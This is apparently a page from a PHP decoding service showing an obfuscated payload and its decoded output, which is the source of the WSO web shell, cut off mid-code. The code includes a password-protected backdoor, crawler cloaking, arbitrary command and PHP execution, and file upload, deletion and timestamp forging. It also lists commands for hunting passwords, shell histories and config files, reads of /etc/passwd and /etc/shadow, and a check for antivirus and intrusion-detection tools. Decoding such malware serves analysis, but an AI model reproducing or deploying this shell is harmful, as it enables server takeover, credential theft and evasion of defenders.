Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval(gzuncompress(base64_decode("eNrlfXtb27jy8N/bT2G8OXW8DSEJbbeb4ACl0NILdLn0Bvyyju0kXpw4a..
Decoded Output download
$auth_pass="8a146f1a3da4700cbf03cdc55e2daae6";$color="#df5";$default_action='oskBW4hrsu';$default_use_ajax=true;$default_charset='Windows-1251';if(!empty($_SERVER['HTTP_USER_AGENT'])){$userAgents=array("Google","Slurp","MSNBot","ia_archiver","Yandex","Rambler");if(preg_match('/'.implode('|',$userAgents).'/i',$_SERVER['HTTP_USER_AGENT'])){header('HTTP/1.0 404 Not Found');exit;}}@ini_set('error_log',null);@ini_set('log_errors',0);@ini_set('max_execution_time',0);@set_time_limit(0);@set_magic_quotes_runtime(0);@define('WSO_VERSION','14.88');if(get_magic_quotes_gpc()){function WSOstripslashes($array){return is_array($array)?array_map('WSOstripslashes',$array):stripslashes($array);}$_POST=WSOstripslashes($_POST);$_COOKIE=WSOstripslashes($_COOKIE);}function wsoLogin(){die("<pre align=center><form method=post>Password: <input type=password name=lalka><input type=submit value='>>'></form></pre>");}function WSOsetcookie($k,$v){$_COOKIE[$k]=$v;setcookie($k,$v);}if(!empty($auth_pass)){if(isset($_POST['lalka'])&&(md5($_POST['lalka'])==$auth_pass))WSOsetcookie(md5($_SERVER['HTTP_HOST']),$auth_pass);if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])])||($_COOKIE[md5($_SERVER['HTTP_HOST'])]!=$auth_pass))wsoLogin();}if(strtolower(substr(PHP_OS,0,3))=="win")$os='win';else $os='nix';$safe_mode=@ini_get('safe_mode');if(!$safe_mode)error_reporting(0);$disable_functions=@ini_get('disable_functions');$home_cwd=@getcwd();if(isset($_POST['c']))@chdir($_POST['c']);$cwd=@getcwd();if($os=='win'){$home_cwd=str_replace("\","/",$home_cwd);$cwd=str_replace("\","/",$cwd);}if($cwd[strlen($cwd)-1]!='/')$cwd.='/';if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']))$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']=(bool)$default_use_ajax;if($os=='win')$aliases=array("List Directory"=>"dir","Find index.php in current dir"=>"dir /s /w /b index.php","Find *config*.php in current dir"=>"dir /s /w /b *config*.php","Show active connections"=>"netstat -an","Show running services"=>"net start","User accounts"=>"net user","Show computers"=>"net view","ARP Table"=>"arp -a","IP Configuration"=>"ipconfig /all");else $aliases=array("List dir"=>"ls -lha","list file attributes on a Linux second extended file system"=>"lsattr -va","show opened ports"=>"netstat -an | grep -i listen","process status"=>"ps aux","Find"=>"","find all suid files"=>"find / -type f -perm -04000 -ls","find suid files in current dir"=>"find . -type f -perm -04000 -ls","find all sgid files"=>"find / -type f -perm -02000 -ls","find sgid files in current dir"=>"find . -type f -perm -02000 -ls","find config.inc.php files"=>"find / -type f -name config.inc.php","find config* files"=>"find / -type f -name \"config*\"","find config* files in current dir"=>"find . -type f -name \"config*\"","find all writable folders and files"=>"find / -perm -2 -ls","find all writable folders and files in current dir"=>"find . -perm -2 -ls","find all service.pwd files"=>"find / -type f -name service.pwd","find service.pwd files in current dir"=>"find . -type f -name service.pwd","find all .htpasswd files"=>"find / -type f -name .htpasswd","find .htpasswd files in current dir"=>"find . -type f -name .htpasswd","find all .bash_history files"=>"find / -type f -name .bash_history","find .bash_history files in current dir"=>"find . -type f -name .bash_history","find all .fetchmailrc files"=>"find / -type f -name .fetchmailrc","find .fetchmailrc files in current dir"=>"find . -type f -name .fetchmailrc","Locate"=>"","locate httpd.conf files"=>"locate httpd.conf","locate vhosts.conf files"=>"locate vhosts.conf","locate proftpd.conf files"=>"locate proftpd.conf","locate psybnc.conf files"=>"locate psybnc.conf","locate my.conf files"=>"locate my.conf","locate admin.php files"=>"locate admin.php","locate cfg.php files"=>"locate cfg.php","locate conf.php files"=>"locate conf.php","locate config.dat files"=>"locate config.dat","locate config.php files"=>"locate config.php","locate config.inc files"=>"locate config.inc","locate config.inc.php"=>"locate config.inc.php","locate config.default.php files"=>"locate config.default.php","locate config* files "=>"locate config","locate .conf files"=>"locate '.conf'","locate .pwd files"=>"locate '.pwd'","locate .sql files"=>"locate '.sql'","locate .htpasswd files"=>"locate '.htpasswd'","locate .bash_history files"=>"locate '.bash_history'","locate .mysql_history files"=>"locate '.mysql_history'","locate .fetchmailrc files"=>"locate '.fetchmailrc'","locate backup files"=>"locate backup","locate dump files"=>"locate dump","locate priv files"=>"locate priv");function wsoHeader(){if(empty($_POST['charset']))$_POST['charset']=$GLOBALS['default_charset'];global $color;echo"<html><head><meta http-equiv='Content-Type' content='text/html; charset=".$_POST['charset']."'><title>".$_SERVER['HTTP_HOST']." - WSO ".WSO_VERSION."</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: ".$color." !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid ".$color.";padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid ".$color."; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
var c_ = '".htmlspecialchars($GLOBALS['cwd'])."';
var a_ = '".htmlspecialchars(@$_POST['a'])."'
var charset_ = '".htmlspecialchars(@$_POST['charset'])."';
var p1_ = '".((strpos(@$_POST['p1'],"
")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES))."';
var p2_ = '".((strpos(@$_POST['p2'],"
")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES))."';
var p3_ = '".((strpos(@$_POST['p3'],"
")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES))."';
var d = document;
function set(a,c,p1,p2,p3,charset) {
if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
}
function g(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
d.mf.submit();
}
function a(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
var params = 'ajax=true';
for(i=0;i<d.mf.elements.length;i++)
params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
sr('".addslashes($_SERVER['REQUEST_URI'])."', params);
}
function sr(url, params) {
if (window.XMLHttpRequest)
req = new XMLHttpRequest();
else if (window.ActiveXObject)
req = new ActiveXObject('Microsoft.XMLHTTP');
if (req) {
req.onreadystatechange = processReqChange;
req.open('POST', url, true);
req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
req.send(params);
}
}
function processReqChange() {
if( (req.readyState == 4) )
if(req.status == 200) {
var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
var arr=reg.exec(req.responseText);
eval(arr[2].substr(0, arr[1]));
} else alert('Request error!');
}
</script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";$freeSpace=@diskfreespace($GLOBALS['cwd']);$totalSpace=@disk_total_space($GLOBALS['cwd']);$totalSpace=$totalSpace?$totalSpace:1;$release=@php_uname('r');$kernel=@php_uname('s');$explink='http://exploit-db.com/search/?action=search&filter_description=';if(strpos('Linux',$kernel)!==false)$explink.=urlencode('Linux Kernel '.substr($release,0,6));else $explink.=urlencode($kernel.' '.substr($release,0,3));if(!function_exists('posix_getegid')){$user=@get_current_user();$uid=@getmyuid();$gid=@getmygid();$group="?";}else{$uid=@posix_getpwuid(posix_geteuid());$gid=@posix_getgrgid(posix_getegid());$user=$uid['name'];$uid=$uid['uid'];$group=$gid['name'];$gid=$gid['gid'];}$cwd_links='';$path=explode("/",$GLOBALS['cwd']);$n=count($path);for($i=0;$i<$n-1;$i++){$cwd_links.="<a href='#' onclick='g(\"oskBW4hrsu\",\"";for($j=0;$j<=$i;$j++)$cwd_links.=$path[$j].'/';$cwd_links.="\")'>".$path[$i]."/</a>";}$charsets=array('UTF-8','Windows-1251','KOI8-R','KOI8-U','cp866');$opt_charsets='';foreach($charsets as$item)$opt_charsets.='<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';$m=array('Sec. Info'=>'SecInfo','Files'=>'oskBW4hrsu','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');if(!empty($GLOBALS['auth_pass']))$m['Self touch']='SelfTouch';$m['Self remove']='SelfRemove';$menu='';foreach($m as$k=>$v)$menu.='<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';$drives="";if($GLOBALS['os']=='win'){foreach(range('c','z') as$drive)if(is_dir($drive.':\'))$drives.='<a href="#" onclick="g(\'oskBW4hrsu\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';}echo'<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os']=='win'?'<br>Drives:':'').'</span></td>'.'<td><nobr>'.substr(@php_uname(),0,120).' <a href="'.$explink.'" target=_blank>[exploit-db.com]</a><font color=lime><b> [Y]</b></font></nobr><br>'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( '.$group.' )<br>'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.wsoViewSize($totalSpace).' <span>Free:</span> '.wsoViewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>'.$cwd_links.' '.wsoPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'oskBW4hrsu\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td>'.'<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets.'</optgroup></select><br><span>Server IP:</span><br>'.@$_SERVER["SERVER_ADDR"].'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table>'.'<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div style="margin:5">';}function wsoFooter(){$is_writable=is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";echo"
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
<tr>
<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='".htmlspecialchars($GLOBALS['cwd'])."'><input type=submit value='>>'></form></td>
<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit=\"g('oskBW4hrsu',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>".$is_writable."<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>".$is_writable."<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
<td><form method='post' ENCTYPE='multipart/form-data'>
<input type=hidden name=a value='oskBW4hrsu'>
<input type=hidden name=c value='".$GLOBALS['cwd']."'>
<input type=hidden name=p1 value='uploadFile'>
<input type=hidden name=charset value='".(isset($_POST['charset'])?$_POST['charset']:'')."'>
<span>Upload file:</span>".$is_writable."<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
</tr></table></div></body></html>";}if(!function_exists("posix_getpwuid")&&(strpos($GLOBALS['disable_functions'],'posix_getpwuid')===false)){function posix_getpwuid($p){return false;}}if(!function_exists("posix_getgrgid")&&(strpos($GLOBALS['disable_functions'],'posix_getgrgid')===false)){function posix_getgrgid($p){return false;}}function wsoEx($in){$out='';if(function_exists('exec')){@exec($in,$out);$out=@join("
",$out);}elseif(function_exists('passthru')){ob_start();@passthru($in);$out=ob_get_clean();}elseif(function_exists('system')){ob_start();@system($in);$out=ob_get_clean();}elseif(function_exists('shell_exec')){$out=shell_exec($in);}elseif(is_resource($f=@popen($in,"r"))){$out="";while(!@feof($f))$out.=fread($f,1024);pclose($f);}return$out;}function wsoViewSize($s){if(is_int($s))$s=sprintf("%u",$s);if($s>=1073741824)return sprintf('%1.2f',$s/1073741824).' GB';elseif($s>=1048576)return sprintf('%1.2f',$s/1048576).' MB';elseif($s>=1024)return sprintf('%1.2f',$s/1024).' KB';else return$s.' B';}function wsoPerms($p){if(($p&0xC000)==0xC000)$i='s';elseif(($p&0xA000)==0xA000)$i='l';elseif(($p&0x8000)==0x8000)$i='-';elseif(($p&0x6000)==0x6000)$i='b';elseif(($p&0x4000)==0x4000)$i='d';elseif(($p&0x2000)==0x2000)$i='c';elseif(($p&0x1000)==0x1000)$i='p';else $i='u';$i.=(($p&0x0100)?'r':'-');$i.=(($p&0x0080)?'w':'-');$i.=(($p&0x0040)?(($p&0x0800)?'s':'x'):(($p&0x0800)?'S':'-'));$i.=(($p&0x0020)?'r':'-');$i.=(($p&0x0010)?'w':'-');$i.=(($p&0x0008)?(($p&0x0400)?'s':'x'):(($p&0x0400)?'S':'-'));$i.=(($p&0x0004)?'r':'-');$i.=(($p&0x0002)?'w':'-');$i.=(($p&0x0001)?(($p&0x0200)?'t':'x'):(($p&0x0200)?'T':'-'));return$i;}function wsoPermsColor($f){if(!@is_readable($f))return'<font color=#FF0000>'.wsoPerms(@fileperms($f)).'</font>';elseif(!@is_writable($f))return'<font color=white>'.wsoPerms(@fileperms($f)).'</font>';else return'<font color=#25ff00>'.wsoPerms(@fileperms($f)).'</font>';}function wsoScandir($dir){if(function_exists("scandir")){return scandir($dir);}else{$dh=opendir($dir);while(false!==($filename=readdir($dh)))$files[]=$filename;return$files;}}function wsoWhich($p){$path=wsoEx('which '.$p);if(!empty($path))return$path;return false;}function actionSecInfo(){wsoHeader();echo'<h1>Server security information</h1><div class=content>';function wsoSecParam($n,$v){$v=trim($v);if($v){echo'<span>'.$n.': </span>';if(strpos($v,"
")===false)echo$v.'<br>';else echo'<pre class=ml1>'.$v.'</pre>';}}wsoSecParam('Server software',@getenv('SERVER_SOFTWARE'));if(function_exists('apache_get_modules'))wsoSecParam('Loaded Apache modules',implode(', ',apache_get_modules()));wsoSecParam('Disabled PHP Functions',$GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');wsoSecParam('Open base dir',@ini_get('open_basedir'));wsoSecParam('Safe mode exec dir',@ini_get('safe_mode_exec_dir'));wsoSecParam('Safe mode include dir',@ini_get('safe_mode_include_dir'));wsoSecParam('cURL support',function_exists('curl_version')?'enabled':'no');$temp=array();if(function_exists('mysql_get_client_info'))$temp[]="MySql (".mysql_get_client_info().")";if(function_exists('mssql_connect'))$temp[]="MSSQL";if(function_exists('pg_connect'))$temp[]="PostgreSQL";if(function_exists('oci_connect'))$temp[]="Oracle";wsoSecParam('Supported databases',implode(', ',$temp));echo'<br>';if($GLOBALS['os']=='nix'){wsoSecParam('Readable /etc/passwd',@is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');wsoSecParam('Readable /etc/shadow',@is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');wsoSecParam('OS version',@file_get_contents('/proc/version'));wsoSecParam('Distr name',@file_get_contents('/etc/issue.net'));if(!$GLOBALS['safe_mode']){$userful=array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');$danger=array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');$downloaders=array('wget','fetch','lynx','links','curl','get','lwp-mirror');echo'<br>';$temp=array();foreach($userful as$item)if(wsoWhich($item))$temp[]=$item;wsoSecParam('Userful',implode(', ',$temp));$temp=array();foreach($danger as$item)if(wsoWhich($item))$temp[]=$item;wsoSecParam('Danger',implode(', ',$temp));$temp=array();foreach($downloaders as$item)if(wsoWhich($item))$temp[]=$item;wsoSecParam('Downloaders',implode(', ',$temp));echo'<br/>';wsoSecParam('HDD space',wsoEx('df -h'));wsoSecParam('Hosts',@file_get_contents('/etc/hosts'));echo'<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';if(isset($_POST['p2'],$_POST['p3'])&&is_numeric($_POST['p2'])&&is_numeric($_POST['p3'])){$temp="";for(;$_POST['p2']<=$_POST['p3'];$_POST['p2']++){$uid=@posix_getpwuid($_POST['p2']);if($uid)$temp.=join(':',$uid)."
";}echo'<br/>';wsoSecParam('Users',$temp);}}}else{wsoSecParam('OS Version',wsoEx('ver'));wsoSecParam('Account Settings',wsoEx('net accounts'));wsoSecParam('User Accounts',wsoEx('net user'));}echo'</div>';wsoFooter();}function actionPhp(){if(isset($_POST['ajax'])){WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax',true);ob_start();eval($_POST['p1']);$temp="document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"
\'")."';
";echo strlen($temp),"
",$temp;exit;}if(empty($_POST['ajax'])&&!empty($_POST['p1']))WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax',0);wsoHeader();if(isset($_POST['p2'])&&($_POST['p2']=='info')){echo'<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';ob_start();phpinfo();$tmp=ob_get_clean();$tmp=preg_replace(array('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','!td, th {(.*)}!msiU','!<img[^>]+>!msiU',),array('','.e, .v, .h, .h th {$1}',''),$tmp);echo str_replace('<h1','<h2',$tmp).'</div><br>';}echo'<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';echo' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';if(!empty($_POST['p1'])){ob_start();eval($_POST['p1']);echo htmlspecialchars(ob_get_clean());}echo'</pre></div>';wsoFooter();}function actionoskBW4hrsu(){if(!empty($_COOKIE['f']))$_COOKIE['f']=@unserialize($_COOKIE['f']);if(!empty($_POST['p1'])){switch($_POST['p1']):case 'uploadFile':$time=@filemtime($_SERVER['SCRIPT_FILENAME'])+1;$timedir=@filemtime($_POST['c'])+1;if(!@move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']))echo"Can't upload file!";@touch($_FILES['f']['name'],$time,$time);@touch($_POST['c'],$timedir,$timedir);break;case 'mkdir':$time=@filemtime($_SERVER['SCRIPT_FILENAME'])+1;$timedir=@filemtime($_POST['c']);if(!@mkdir($_POST['p2']))echo"Can't create new dir";@touch($_POST['c'].'/'.$_POST['p2'],$time,$time);@touch($_POST['c'],$timedir,$timedir);break;case 'delete':$timedir=@filemtime($_POST['c']);function deleteDir($path){$path=(substr($path,-1)=='/')?$path:$path.'/';$dh=opendir($path);while(($item=readdir($dh))!==false){$item=$path.$item;if((basename($item)=="..")||(basename($item)=="."))continue;$type=filetype($item);if($type=="dir")deleteDir($item);else @unlink($item);}closedir($dh);@rmdir($path);}if(is_array(@$_POST['f']))foreach($_POST['f'] as$f){if($f=='..')continue;$f=urldecode($f);if(is_dir($f))deleteDir($f);else @unlink($f);}@touch($_POST['c'],$timedir,$timedir);break;case 'paste':$timedir=@filemtime($_COOKIE['c']);$pathhddd=$_COOKIE['c'];if($_COOKIE['act']=='copy'){function copy_paste($c,$s,$d){if(is_dir($c.$s)){mkdir($d.$s);$h=@opendir($c.$s);while(($f=@readdir($h))!==false)if(($f!=".") and ($f!=".."))copy_paste($c.$s.'/',$f,$d.$s.'/');}elseif(is_file($c.$s))@copy($c.$s,$d.$s);}foreach($_COOKIE['f'] as$f)copy_paste($_COOKIE['c'],$f,$GLOBALS['cwd']);}elseif($_COOKIE['act']=='move'){function move_paste($c,$s,$d){if(is_dir($c.$s)){mkdir($d.$s);$h=@opendir($c.$s);while(($f=@readdir($h))!==false)if(($f!=".") and ($f!=".."))copy_paste($c.$s.'/',$f,$d.$s.'/');}elseif(@is_file($c.$s))@copy($c.$s,$d.$s);}foreach($_COOKIE['f'] as$f)@rename($_COOKIE['c'].$f,$GLOBALS['cwd'].$f);}elseif($_COOKIE['act']=='zip'){if(class_exists('ZipArchive')){$zip=new ZipArchive();if($zip->open($_POST['p2'],1)){chdir($_COOKIE['c']);foreach($_COOKIE['f'] as$f){if($f=='..')continue;if(@is_file($_COOKIE['c'].$f))$zip->addFile($_COOKIE['c'].$f,$f);elseif(@is_dir($_COOKIE['c'].$f)){$iterator=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/',FilesystemIterator::SKIP_DOTS));foreach($iterator as$key=>$value){$zip->addFile(realpath($key),$key);}}}chdir($GLOBALS['cwd']);$zip->close();}}}elseif($_COOKIE['act']=='unzip'){if(class_exists('ZipArchive')){$zip=new ZipArchive();foreach($_COOKIE['f'] as$f){if($zip->open($_COOKIE['c'].$f)){$zip->extractTo($GLOBALS['cwd']);$zip->close();}}}}elseif($_COOKIE['act']=='tar'){chdir($_COOKIE['c']);$_COOKIE['f']=array_map('escapeshellarg',$_COOKIE['f']);wsoEx('tar cfzv '.escapeshellarg($_POST['p2']).' '.implode(' ',$_COOKIE['f']));chdir($GLOBALS['cwd']);}unset($_COOKIE['f']);setcookie('f','',time()-3600);@touch($pathhddd,$timedir,$timedir);break;default:if(!empty($_POST['p1'])){WSOsetcookie('act',$_POST['p1']);WSOsetcookie('f',serialize(@$_POST['f']));WSOsetcookie('c',@$_POST['c']);}@touch($pathhddd,$timedir,$timedir);break;endswitch;}wsoHeader();echo'<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';$dirContent=wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);if($dirContent===false){echo'Can\'t open this folder!';wsoFooter();return;}global $sort;$sort=array('name',1);if(!empty($_POST['p1'])){if(preg_match('!s_([A-z]+)_(\d{1})!',$_POST['p1'],$match))$sort=array($match[1],(int)$match[2]);}echo"<script>
function sa() {
for(i=0;i<d.files.elements.length;i++)
if(d.files.elements[i].type == 'checkbox')
d.files.elements[i].checked = d.files.elements[0].checked;
}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"oskBW4hrsu\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"oskBW4hrsu\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"oskBW4hrsu\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"oskBW4hrsu\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";$dirs=$files=array();$n=count($dirContent);for($i=0;$i<$n;$i++){$ow=@posix_getpwuid(@fileowner($dirContent[$i]));$gr=@posix_getgrgid(@filegroup($dirContent[$i]));$tmp=array('name'=>$dirContent[$i],'path'=>$GLOBALS['cwd'].$dirContent[$i],'modify'=>date('Y-m-d H:i:s',@filectime($GLOBALS['cwd'].$dirContent[$i])),'perms'=>wsoPermsColor($GLOBALS['cwd'].$dirContent[$i]),'size'=>@filesize($GLOBALS['cwd'].$dirContent[$i]),'owner'=>$ow['name']?$ow['name']:@fileowner($dirContent[$i]),'group'=>$gr['name']?$gr['name']:@filegroup($dirContent[$i]));if(@is_file($GLOBALS['cwd'].$dirContent[$i]))$files[]=array_merge($tmp,array('type'=>'file'));elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))$dirs[]=array_merge($tmp,array('type'=>'link','link'=>readlink($tmp['path'])));elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i]))$dirs[]=array_merge($tmp,array('type'=>'dir'));}$GLOBALS['sort']=$sort;function wsoCmp($a,$b){if($GLOBALS['sort'][0]!='size')return strcmp(strtolower($a[$GLOBALS['sort'][0]]),strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);else return(($a['size']<$b['size'])?-1:1)*($GLOBALS['sort'][1]?1:-1);}usort($files,"wsoCmp");usort($dirs,"wsoCmp");$files=array_merge($dirs,$files);$l=0;foreach($files as$f){echo'<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'oskBW4hrsu\',\''.$f['path'].'\');" '.(empty($f['link'])?'':"title='".$f['link']."'").'><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms'].'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';$l=$l?0:1;}echo"<tr><td colspan=7>
<input type=hidden name=a value='oskBW4hrsu'>
<input type=hidden name=c value='".htmlspecialchars($GLOBALS['cwd'])."'>
<input type=hidden name=charset value='".(isset($_POST['charset'])?$_POST['charset']:'')."'>
<select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";if(class_exists('ZipArchive'))echo"<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";echo"<option value='tar'>Compress (tar.gz)</option>";if(!empty($_COOKIE['act'])&&@count($_COOKIE['f']))echo"<option value='paste'>Paste / Compress</option>";echo"</select> ";if(!empty($_COOKIE['act'])&&@count($_COOKIE['f'])&&(($_COOKIE['act']=='zip')||($_COOKIE['act']=='tar')))echo"file name: <input type=text name=p2 value='wso_".date("Ymd_His").".".($_COOKIE['act']=='zip'?'zip':'tar.gz')."'> ";echo"<input type='submit' value='>>'></td></tr></form></table></div>";wsoFooter();}function actionStringTools(){if(!function_exists('hex2bin')){function hex2bin($p){return decbin(hexdec($p));}}if(!function_exists('binhex')){function binhex($p){return dechex(bindec($p));}}if(!function_exists('hex2ascii')){function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return$r;}}if(!function_exists('ascii2hex')){function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.=sprintf('%02X',ord($p[$i]));return strtoupper($r);}}if(!function_exists('full_urlencode')){function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.='%'.dechex(ord($p[$i]));return strtoupper($r);}}$stringTools=array('Base64 encode'=>'base64_encode','Base64 decode'=>'base64_decode','Url encode'=>'urlencode','Url decode'=>'urldecode','Full urlencode'=>'full_urlencode','md5 hash'=>'md5','sha1 hash'=>'sha1','crypt'=>'crypt','CRC32'=>'crc32','ASCII 